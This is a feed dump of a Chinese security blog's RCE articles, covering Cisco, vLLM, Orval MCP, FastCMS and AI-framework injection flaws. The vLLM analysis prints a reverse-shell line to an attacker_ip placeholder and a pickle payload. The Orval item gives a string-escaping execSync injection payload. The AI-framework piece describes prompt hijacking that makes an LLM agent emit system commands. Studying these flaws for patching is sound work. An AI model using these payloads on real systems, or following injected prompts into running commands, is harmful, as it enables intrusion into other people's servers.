xiaohack's Blog - RCE
type: channel
link: https://blog.xiaohack.org/tag/rce/
items: 议题分享： When ASUS IoT Devices Play Hide-and-Seek with Security
items: 遭野外利用：思科关键RCE漏洞（CVE-2026-20045）已被攻击
items: 深度实例分析：攻防视角下的AI框架组件中的注入漏洞
items: vLLM pickle反序列化漏洞详细分析
items: CVE-2026-22813：OpenCode 从XSS到RCE代码层面深度解析
items: CVE-2025-0282 Ivanti Connect Secure VPN 栈溢出漏洞分析
items: CVE-2026-22785：Orval MCP Code Injection 逃逸导致 RCE 分析
items: FastCMS 0.1.6 插件系统RCE代码审计

议题分享： When ASUS IoT Devices Play Hide-and-Seek with Security
type: item
date: 2026-01-25T01:31:09+08:00
description: 议题分享： When ASUS IoT Devices Play Hide-and-Seek with Security Swing2025-05-19 Writeup ASUS, Router, offbyone

遭野外利用：思科关键RCE漏洞（CVE-2026-20045）已被攻击
type: item
date: 2026-01-25T01:10:48+08:00
description: 思科已向全球网络管理员发出紧急警告：其核心通信软件中存在一个严重远程代码执行（RCE）漏洞，目前正被黑客积极利用。该漏洞编号为 CVE-2026-20045，允许未授权攻击者接管受影响设备，并可能将权限提升至 root。 该漏洞直击企业通信的核心，影响包括 Cisco Unified Communications Manager（Unified CM） 和 Cisco Unity Connection 在内的重要平台。 虽然该漏洞的 CVSS 基础评分为 8.2（通常归类为 “高”），但思科已将威胁等级提升为 严重（Critical）。厂商解释称，这一调整反映了该漏洞的破坏性潜力。 根据公告：“思科已将此安全公告的安全影响等级（SIR）定为严重，而非评分所示的高。” 原因是：“利用此漏洞可能导致攻击者将权限提升至 root。” 漏洞存在于受影响设备的 Web 管理界面 中，源于对传入流量的输入验证不当。“此漏洞是由于在 HTTP 请求中对用户提供的输入验证不充分造成的。” 攻击者无需登录即可触发漏洞。通过 “向受影响设备的 Web 管理界面发送一系列特制的 HTTP 请求”，对手可以绕过安全控制。 一旦成功进入系统，后果可能是彻底的。“成功利用此漏洞可能允许攻击者获得底层操作系统的用户级访问权限，然后将权限提升至 root。” 该漏洞影响范围广泛，以下产品无论配置如何均受影响： Unified CM（CallManager） Unified CM Session Management Edition（SME） Unified CM IM & Presence Service Unity Connection Webex Calling Dedicated Instance 由于已确认存在野外利用，修补并非可选。思科已为 14 版和 15 版发布软件更新，同时指出 12.5 版用户必须 “迁移到已修复的版本”。 鉴于当前活跃的威胁环境，“思科强烈建议客户立即升级到已修复的软件版本以缓解此漏洞。”

深度实例分析：攻防视角下的AI框架组件中的注入漏洞
type: item
date: 2026-01-24T19:48:06+08:00
description: 深度实例分析：攻防视角下的AI框架组件中的注入漏洞在从事了一段时间对AI框架组件的安全审计研究后，也挖掘到了很多相似的注入漏洞RCE，对于目前的AI框架组件（PandasAI，LlamaIndx，Langchain...）对于该类型漏洞的通病结合实战实例以及学术界的研究做了系统性的归纳，站在AI框架的顶层角度对该类AI框架组件中的注入漏洞进行研究分析，供师傅们交流指点...1 漏洞根源传统的注入攻击本质上是攻击者通过操纵结构化查询语言的语法和语义来实现恶意操作。这种攻击依赖于输入验证的缺失，导致用户输入直接拼接到预定义的SQL语句中，形成无效或恶意查询，从而绕过授权、泄露数据或执行系统命令。然而，在AI集成框架（如LangChain、LlamaIndex、PandasAI）中的RCE漏洞，则源于一个更复杂的动态过程：Natural Language向Untrusted Code的转化过程中的逻辑失控。这种失控不是简单的语法操纵，而是源于AI系统的“意图推断”和“代码生成”机制的固有不确定性，导致从人类可读的prompt到可执行Python代码的“黑箱”转化中，安全边界被模糊化。2 AI应用框架执行流程一个典型的AI框架集成应用执行流如下： 用户通过自然语言接口（如Web聊天框或API端点）提交查询提示（Prompt），这个提示通常封装为一个结构化的输入 框架（如LangChain、LlamaIndex或PandasAI）接收此输入后，会在系统提示（System Prompt）指导下调用LLM模型（如OpenAI的GPT系列），系统提示旨在强化安全边界，例如“仅生成安全的Pandas代码，不要执行系统命令”。LLM基于其训练数据和概率分布，生成一个中间输出——通常是伪代码或自然语言描述的代码片段 框架的解析器（Parser）将此输出转化为可执行的Python代码字符串 最后在执行阶段，框架依赖动态解释器（如exec()或eval()）在受限命名空间中运行此代码，捕获stdout或返回值作为观察结果 3 注入RCE漏洞主要分布3.1 Data Analysis Agents这类接口是目前RCE漏洞最密集的区域。以create_pandas_dataframe_agent或SQLAgent为代表，其核心逻辑是利用LLM的编程能力来处理结构化数据。开发者通常为LLM提供一个功能完备的Python运行环境，并预装Pandas、Numpy等库，意图让LLM通过编写数据清洗或统计代码来回答用户问题。然而，从攻防视角看，这本质上构建了一个 “自然语言控制的动态脚本生成器” 。由于框架底层往往直接调用exec()或eval()来运行LLM生成的代码，攻击者只需通过Prompt Hijacking，诱导LLM在生成的脚本中插入os.system或subprocess指令，即可绕过数据分析的初衷，直接在宿主机上执行任意系统命令。import pandas as pd import os from typing import Any def execute_llm_generated_code(code_string: str, dataframe: pd.DataFrame) -> Any: # 框架中会注入dataframe到本地作用域，这里简化 local_vars = {'df': dataframe, 'pd': pd, 'np': __import__('numpy')} exec(code_string, {}, local_vars) # 假设LLM生成了一个返回结果的变量 if 'result' in local_vars: return local_vars['result'] return None execute_llm_generated_code(malicious_code, df) if os.path.exists("/tmp/rce_proof.txt"): with open("/tmp/rce_proof.txt", "r") as f: print(f"RCE 验证文件内容 3.2 REPL Tools为了赋予Ai应用解决复杂逻辑（如数学运算、逻辑推理）的能力，许多框架内置了交互式解释器工具（如Python REPL、Shell Tool）。这些工具被设计为框架的“插件”或“技能”，允许代理（Agent）在发现自身能力不足时自动调用。风险在于这些执行器的“默认高权限”与“缺乏沙箱化”。在许多开源实现中，代码执行器并未在受限的容器环境中运行，而是直接继承了应用主进程的权限。这意味着，一旦LLM被恶意提示词引导进入“代码编写模式”，它所产生的代码将直接在服务器后端运行。import subprocess impo…

vLLM pickle反序列化漏洞详细分析
type: item
date: 2026-01-24T18:13:56+08:00
description: 漏洞描述CVE-2025-47277 是 vLLM 项目中的一个 远程代码执行（RCE）漏洞，源于其使用PyNcclPipe模块时，未经验证地反序列化来自网络的数据，攻击者可通过构造恶意 pickle 数据包，在服务器端执行任意代码。该漏洞严重性等级为 Critical。影响范围条件说明影响版本vLLM >= 0.6.5 且 < 0.8.5影响模块VLLMEngineV0引擎中启用的PyNcclPipeKV 缓存传输机制受影响部署模式多节点分布式部署，KV 节点暴露在公网或未限制访问不受影响使用 VLLMEngineV1、新版 NCCL 后端或未启用 KV 传输的单机部署漏洞环境搭建可以在本地搭建一个复现环境：●Python ≥ 3.8●vLLM == 0.8.3（或受影响版本）●PyTorch​代码解读​PyNcclPipe：vLLM 的分布式 KV 缓存传输模块，用于节点之间传输 tensor 数据。KVTransferConfig：用于配置 KV 缓存传输参数，例如端口、IP、rank 等​kv_ip：本地监听 IP，接收其他节点发来的 tensor 数据。127.0.0.1 代表只监听本地（攻击时需开放公网 IP）。kv_port：网络监听端口（服务端口），攻击者通过该端口发送恶意数据。kv_rank：当前节点在分布式系统中的编号，0 表示主节点。kv_parallel_size：并行传输的节点数量，这里设为 1，表示单连接通信。kv_buffer_size：每次接收 tensor 的 buffer 大小。kv_buffer_device：buffer 存储设备，设为 "cpu" 表示张量数据缓存在 CPU 上。​创建一个 PyNcclPipe 对象，它封装了底层 TCP 通信逻辑，用于从其他节点接收数据。local_rank=0 表示当前节点在通信中的本地编号。​这是漏洞的触发点！recv_tensor() 内部会调用 recv_obj() 来从 socket 中接收序列化对象。漏洞分析成因点描述不安全反序列化recv_obj()中使用pickle.loads()对用户发送的序列化数据直接反序列化，无身份校验或数据校验。网络暴露配置缺陷PyTorch 的TCPStore默认监听0.0.0.0，vLLM 用户配置--kv-ip也未能强制绑定私有 IP。内网信任假设过强vLLM 设计默认内网环境可信，缺乏防御恶意内部节点或入侵者横向移动的保护措施。在pynccl_pipe.py中调用了recv_obj()方法而recv_obj()方法中刚好对传入的字符串进行pickle反序列化漏洞复现攻击脚本代码分段解读：这里引入 StatelessProcessGroup，这是 vLLM 中用于节点间通信的一个工具类，封装了 TCP 通信逻辑。这是攻击的核心：__reduce__() 是 Python pickle 模块在反序列化对象时调用的特殊方法。它的返回值告诉 pickle.loads() 如何还原一个对象。这里它返回的是 (os.system, ('whoami',))，反序列化时会执行 os.system('whoami')。这里可以把 'whoami' 换成任意命令，例如 bash -i >& /dev/tcp/attacker_ip/port 0>&1 以反弹 shell。这行代码创建了一个客户端通信节点：host：目标服务监听地址（本地测试用 127.0.0.1），port：目标服务监听端口（通常为服务端的 KV 服务端口），rank：当前通信节点的编号（1 表示攻击节点），world_size：分布式训练的总节点数（2 表示 2 个节点通信）这个接口实际上是将攻击者作为一个“合法”节点加入通信组。通过 send_obj() 向 rank=0 的节点发送序列化后的 Evil 对象。服务端在执行 recv_obj() 时，会执行 pickle.loads() 对这个对象反序列化。从而触发 Evil.__reduce__()，间接调用 os.system('whoami')。运行后，目标机器会执行whoami命令，在实战环境下可以反弹shell漏洞修复vLLM 在 0.8.5 版本中已修复此漏洞：修复内容：● 强制TCPStore使用指定私有地址进行绑定（防止监听所有接口）● 改进通信逻辑，防止未经校验的pickle.loads被直接调用防护建议：●升级 vLLM 至 ≥ 0.8.5● 使用防火墙阻止来自不受信任源的连接（如仅允许 10.x 或 192.168.x IP）● 切换到 V1 引擎，其不使用该模块● 使用安全消息格式（如 JSON、protobuf），禁止pickle用于跨网络通信参考文章●github.com…

CVE-2026-22813：OpenCode 从XSS到RCE代码层面深度解析
type: item
date: 2026-01-20T11:35:49+08:00

CVE-2025-0282 Ivanti Connect Secure VPN 栈溢出漏洞分析
type: item
date: 2026-01-20T00:15:43+08:00
description: CVE-2025-0282 Ivanti Connect Secure VPN 栈溢出漏洞分析 Swing2025-01-29 漏洞分析 CVE-2025-0282, pulse, vpn

深度实例分析：攻防视角下的AI框架组件中的注入漏洞
type: item
date: 2026-01-19T18:26:52+08:00
description: 深度实例分析：攻防视角下的AI框架组件中的注入漏洞在从事了一段时间对AI框架组件的安全审计研究后，也挖掘到了很多相似的注入漏洞RCE，对于目前的AI框架组件（PandasAI，LlamaIndx，Langchain...）对于该类型漏洞的通病结合实战实例以及学术界的研究做了系统性的归纳，站在AI框架的顶层角度对该类AI框架组件中的注入漏洞进行研究分析，供师傅们交流指点...1 漏洞根源传统的注入攻击本质上是攻击者通过操纵结构化查询语言的语法和语义来实现恶意操作。这种攻击依赖于输入验证的缺失，导致用户输入直接拼接到预定义的SQL语句中，形成无效或恶意查询，从而绕过授权、泄露数据或执行系统命令。然而，在AI集成框架（如LangChain、LlamaIndex、PandasAI）中的RCE漏洞，则源于一个更复杂的动态过程：Natural Language向Untrusted Code的转化过程中的逻辑失控。这种失控不是简单的语法操纵，而是源于AI系统的“意图推断”和“代码生成”机制的固有不确定性，导致从人类可读的prompt到可执行Python代码的“黑箱”转化中，安全边界被模糊化。2 AI应用框架执行流程一个典型的AI框架集成应用执行流如下： 用户通过自然语言接口（如Web聊天框或API端点）提交查询提示（Prompt），这个提示通常封装为一个结构化的输入 框架（如LangChain、LlamaIndex或PandasAI）接收此输入后，会在系统提示（System Prompt）指导下调用LLM模型（如OpenAI的GPT系列），系统提示旨在强化安全边界，例如“仅生成安全的Pandas代码，不要执行系统命令”。LLM基于其训练数据和概率分布，生成一个中间输出——通常是伪代码或自然语言描述的代码片段 框架的解析器（Parser）将此输出转化为可执行的Python代码字符串 最后在执行阶段，框架依赖动态解释器（如exec()或eval()）在受限命名空间中运行此代码，捕获stdout或返回值作为观察结果 3 注入RCE漏洞主要分布3.1 Data Analysis Agents这类接口是目前RCE漏洞最密集的区域。以create_pandas_dataframe_agent或SQLAgent为代表，其核心逻辑是利用LLM的编程能力来处理结构化数据。开发者通常为LLM提供一个功能完备的Python运行环境，并预装Pandas、Numpy等库，意图让LLM通过编写数据清洗或统计代码来回答用户问题。然而，从攻防视角看，这本质上构建了一个 “自然语言控制的动态脚本生成器” 。由于框架底层往往直接调用exec()或eval()来运行LLM生成的代码，攻击者只需通过Prompt Hijacking，诱导LLM在生成的脚本中插入os.system或subprocess指令，即可绕过数据分析的初衷，直接在宿主机上执行任意系统命令。import pandas as pd import os from typing import Any def execute_llm_generated_code(code_string: str, dataframe: pd.DataFrame) -> Any: # 框架中会注入dataframe到本地作用域，这里简化 local_vars = {'df': dataframe, 'pd': pd, 'np': __import__('numpy')} exec(code_string, {}, local_vars) # 假设LLM生成了一个返回结果的变量 if 'result' in local_vars: return local_vars['result'] return None execute_llm_generated_code(malicious_code, df) if os.path.exists("/tmp/rce_proof.txt"): with open("/tmp/rce_proof.txt", "r") as f: print(f"RCE 验证文件内容 3.2 REPL Tools为了赋予Ai应用解决复杂逻辑（如数学运算、逻辑推理）的能力，许多框架内置了交互式解释器工具（如Python REPL、Shell Tool）。这些工具被设计为框架的“插件”或“技能”，允许代理（Agent）在发现自身能力不足时自动调用。风险在于这些执行器的“默认高权限”与“缺乏沙箱化”。在许多开源实现中，代码执行器并未在受限的容器环境中运行，而是直接继承了应用主进程的权限。这意味着，一旦LLM被恶意提示词引导进入“代码编写模式”，它所产生的代码将直接在服务器后端运行。import subprocess impo…

CVE-2026-22785：Orval MCP Code Injection 逃逸导致 RCE 分析
type: item
date: 2026-01-19T18:08:17+08:00
description: Orval MCP Code Injection 逃逸导致 RCE 分析 漏洞描述 Orval 是一个可以从 OpenAPI v3 或 Swagger v2 规范生成类型安全 JavaScript 客户端（TypeScript）的工具。在 7.18.0 版本之前，MCP 服务器生成逻辑在处理 OpenAPI 规范中的 summary 字段时，没有进行适当的验证或转义，直接将其拼接到生成的代码中。 这使得攻击者可以通过精心构造的 OpenAPI 规范文件，在 summary 字段中注入恶意代码，"跳出"字符串字面量并执行任意 JavaScript 代码。 环境搭建 ​9912345678910111213141516171819202122$ cd orval-7.17.2$ yarn install$ yarn build$ node ./packages/orval/dist/bin/orval.js --version 漏洞复现 验证 Orval 版本 确保你的是漏洞版本 命令: ​91$ node ../orval-7.17.2/packages/orval/dist/bin/orval.js --version创建恶意 OpenAPI 规范 文件: poc/real-malicious.yaml ​9912345678910111213141516171819openapi:3.0.4info:title:Test APIversion:1.0.0servers:-url:https://api.example.com/v1paths:/test/status:get:summary:"Normal status check' + require('child_process').execSync('echo VULNERABLE > /tmp/orval-real-poc.txt').toString() + '"description:Get status informationoperationId:getStatusresponses:'200':description:Successful operationcontent:application/json:schema:type:string ● summary 字段包含恶意 payload ● 开头的单引号 ' 用于闭合前面的字符串字面量 ● + require('child_process').execSync(...) 是注入的恶意代码 ● 结尾的 ' 开始新的字符串字面量 因为生成逻辑是一个拼接的过程 创建 Orval 配置 文件: poc/real-poc.config.mjs 文件生成 然后就会生成对应的文件 恶意文件是在 server.ts 成功的拼接并闭合了 修复版本生成文件 使用相同的恶意输入，修复版本 (7.18.0) 会生成: 区别: 所有单引号被转义为 \'，注入被阻止。 恶意文件触发 只要 MCP 服务器加载脚本，就会立马触发 AI 写个代码 代码分析 OpenAPI 规范加载 Operation 对象提取 operation 对象包含 summary、description 等字段 字段提取 generateServer 函数/文件拼接点 所以文件的内容如下 漏洞修复 修复方案 在 packages/mcp/src/index.ts 中引入 jsStringEscape 函数对所有用户控制的输入进行转义。 修复说明 修复 Commit: 80b5fe73b94f120a3a5561952d6d4b0f8d7e928d Orval 7.18.0 (已修复) - packages/mcp/src/index.ts: jsStringEscape 函数实现 - packages/core/src/utils/string.ts: 如果存在这些字符，那么我们的内容就会被转义，就和防止 sql 注入一样 输入字符转义后'\'"\"\\\换行符\n 参考资料 ●GHSA-mwr6-3gp8-9jmj ●修复 Commit ●Orval 官方仓库 ●Model Context Protocol (MCP) 免责声明 本漏洞分析报告仅用于安全研究和教育目的。所有测试均在授权的环境中进行。 请勿将此信息用于任何非法目的。作者不对因滥用此信息而导致的任何损害负责。 ​

CVE-2025-0282 Ivanti Connect Secure VPN 栈溢出漏洞分析
type: item
date: 2026-01-18T14:05:32+08:00
description: CVE-2025-0282 Ivanti Connect Secure VPN 栈溢出漏洞分析 Swing2025-01-29 漏洞分析 CVE-2025-0282, pulse, vpn

FastCMS 0.1.6 插件系统RCE代码审计
type: item
date: 2026-01-18T12:08:57+08:00
description: 环境搭建 ●windows 10 ●jdk 17 ●mysql 5.7.26 ●fastcms 0.1.6 下载地址：https://github.com/my-fastcms/fastcms 登录：http://127.0.0.1:8080/fastcms-master.html 账号/密码：admin/1 1 数据库配置 数据库配置文件：fastcms-master/web/src/main/resources/application.yml数据库文件：fastcms-master/doc/sql/fastcms-master.sql ​912mysql -uroot -psource D:\java\fastcms-master\doc\sql\fastcms.sql2 开发环境 搭建环境会遇到Java 9+ 模块系统（JPMS）兼容性问题，在运行配置中添加虚拟机选项（VM options），输入下列参数即可 ​91--add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED 3 生产环境 存在漏洞的功能在开发环境无法使用，但在生产环境又无法 debug，此节侧重于在 idea debug 打包，找到 fastcms-master/build.bat 文件（windows 环境用 bat，linux 环境用 sh），双击进行打包，打包完成会出现.dist目录 .dist目录中，启动 startup.cmd 文件即可运行程序，但这样无法 debug，记住fastcms-master-server.jar的绝对路径，这是用 idea debug 的关键 在 idea 的运行配置中添加 jar 应用程序需要设置下列四个参数，jar 路径是fastcms-master-server.jar的绝对路径，工作目录则是fastcms-master-server.jar的所在目录，虚拟机选项和程序实参，则贴在图片下面。名称无所谓虚拟机选项 程序实参 启动成功会显示 8080 端口，以及启动时间 代码审计 入口文件：fastcms-master/web/src/main/java/com/fastcms/web/controller/admin/PluginController.java 第一个 if 检查是否为开发环境，如果是开发环境则报错，因此必须是生产环境，生产环境 debug 前面有配置步骤，这里不在叙述，后面两个 if 判断是否有后缀，是否是 jar、zip 文件，最后进入安装环境installPlugin 方法先安装再激活loadPlugin 方法中，loadPluginFromPath 加载插件，resolvePlugins 解决依赖loadPluginFromPath 是 pf4j 的原生方法，简单看一下，pluginId 不存在代表新插件，新插件载入需要获取插件元数据（pluginDescriptor），获取插件所有类（pluginClassLoader），创建插件实例（pluginWrapper）最后通过 addPlugin 方法载入这里就已经实例化并载入了插件，后面需要激活插件，跟进 startPlugin 方法，根据 pluginId 获取插件，再根据插件获取实例化对象，执行 start 方法激活，中间只是判断插件的状态，是激活还是禁止start 方法如下，这是官方 HelloPlugin 插件，是否可以在这里加点代码？ 漏洞复现 这里为了方便演示，修改官方插件，插件编写方法附在最后 找到fastcms-master/plugins/hello-world-plugin/src/main/java/com/fastcms/hello/HelloPlugin.java文件，添加下列代码 在fastcms-master/plugins/hello-world-plugin/目录下打包成 jar 文件 fastcms-master/plugins/hello-world-plugin/target/hello-world-plugin-0.1.6-SNAPSHOT.jarhttp://127.0.0.1:8080/fastcms-master.html 登录，账号密码：admin/1此时插件管理显示暂无数据，选择打包好的 jar 文件上传成功显示插件信息，弹出计算器 上面是第一次验证的步骤，如果想要重复验证，这时有三种方法 ● 停止项目，找到astcms-master.distplugins，删除 jar，…